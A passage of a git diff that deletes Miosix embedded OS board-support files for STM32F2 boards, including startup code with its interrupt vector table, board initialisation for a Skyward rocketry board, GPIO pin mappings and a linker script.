SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - 0, - 0, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - 0, - 0, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 0ce786ce2..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F205xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp.cpp deleted file mode 100644 index c3f154d43..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,121 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico and Silvano Seva for * - * Skyward Experimental Rocketry * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -using namespace std; - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - - using namespace memories; - sck::mode(Mode::ALTERNATE); - miso::mode(Mode::ALTERNATE); - mosi::mode(Mode::ALTERNATE); - cs0::mode(Mode::OUTPUT); //cs lines have pullups, but we tie them to high anyway - cs0::high(); - cs1::mode(Mode::OUTPUT); - cs1::high(); - cs2::mode(Mode::OUTPUT); - cs2::high(); - - gpio::gpio0::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - //It seems that we have nothing to do here -} - -// -// Shutdown and reboot -// - -/** - * For safety reasons, we never want the stormtrooper - * to shutdown. When requested to shutdown, we reboot instead. - */ -void shutdown() -{ - reboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp_impl.h deleted file mode 100644 index 8736d74f4..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,67 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico and Silvano Seva for * - * Skyward Experimental Rocketry * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -//Gpio0 is connected to a yellow led, so -//we use it for ledOn / ledOff -inline void ledOn() -{ - gpio::gpio0::high(); -} - -inline void ledOff() -{ - gpio::gpio0::low(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/hwmapping.h deleted file mode 100644 index 562568ff0..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,118 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Silvano Seva for Skyward Experimental * - * Rocketry * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -//external SPI flash memories, whith dedicated SPI bus -namespace memories { -using sck = Gpio; -using miso = Gpio; -using mosi = Gpio; -using cs0 = Gpio; -using cs1 = Gpio; -using cs2 = Gpio; -} - -//MCP2515 SPI driven CAN interface chip -namespace mcp2515 { -using sck = Gpio; -using miso = Gpio; -using mosi = Gpio; -using tx0rts = Gpio; -using tx1rts = Gpio; -using tx2rts = Gpio; -using interr = Gpio; -} - -namespace can { -using rx1 = Gpio; -using tx1 = Gpio; -using rx2 = Gpio; -using tx2 = Gpio; -} - -//analog inputs -namespace analogIn { -using ch0 = Gpio; -using ch1 = Gpio; -using ch2 = Gpio; -using ch3 = Gpio; -using ch4 = Gpio; -using ch5 = Gpio; -using ch6 = Gpio; -using ch7 = Gpio; -using ch8 = Gpio; -} - -//general purpose IOs (typically used as digital IO) -namespace gpio { -using gpio0 = Gpio; -using gpio1 = Gpio; -using gpio2 = Gpio; -using gpio3 = Gpio; -} - -//USART2, connected to RS485 transceiver -namespace usart2 { -using tx = Gpio; -using rx = Gpio; -using rts = Gpio; -} - -//USART3, connected to RS485 transceiver -namespace usart3 { -using tx = Gpio; -using rx = Gpio; -using rts = Gpio; -} - -//UART4 -namespace uart4 { -using tx = Gpio; -using rx = Gpio; -} - -//UART5 -namespace uart5 { -using tx = Gpio; -using rx = Gpio; -} - -//UART6 -namespace uart6 { -using tx = Gpio; -using rx = Gpio; -} -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/stm32_512k+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/stm32_512k+128k_rom.ld deleted file mode 100644 index 62406d42b..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/stm32_512k+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for Skyward stormtrooper board - * Developed by Terraneo Federico, adapted by Silvano Seva - * STM32F205RC has 512KB of flash and 128KB of RAM - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/core/stage_1_boot.cpp deleted file mode 100644 index da001959a..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/core/stage_1_boot.cpp +++ /dev/null @@ -1,385 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - //The memcpy is usually enclosed in an #ifndef __ENABLE_XRAM, in other - //boards but in this case it is not, since the *_code_in_xram.ld linker - //script puts code in XRAM, but data in the internal one, so there's still - //the need to copy it in its final place - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void 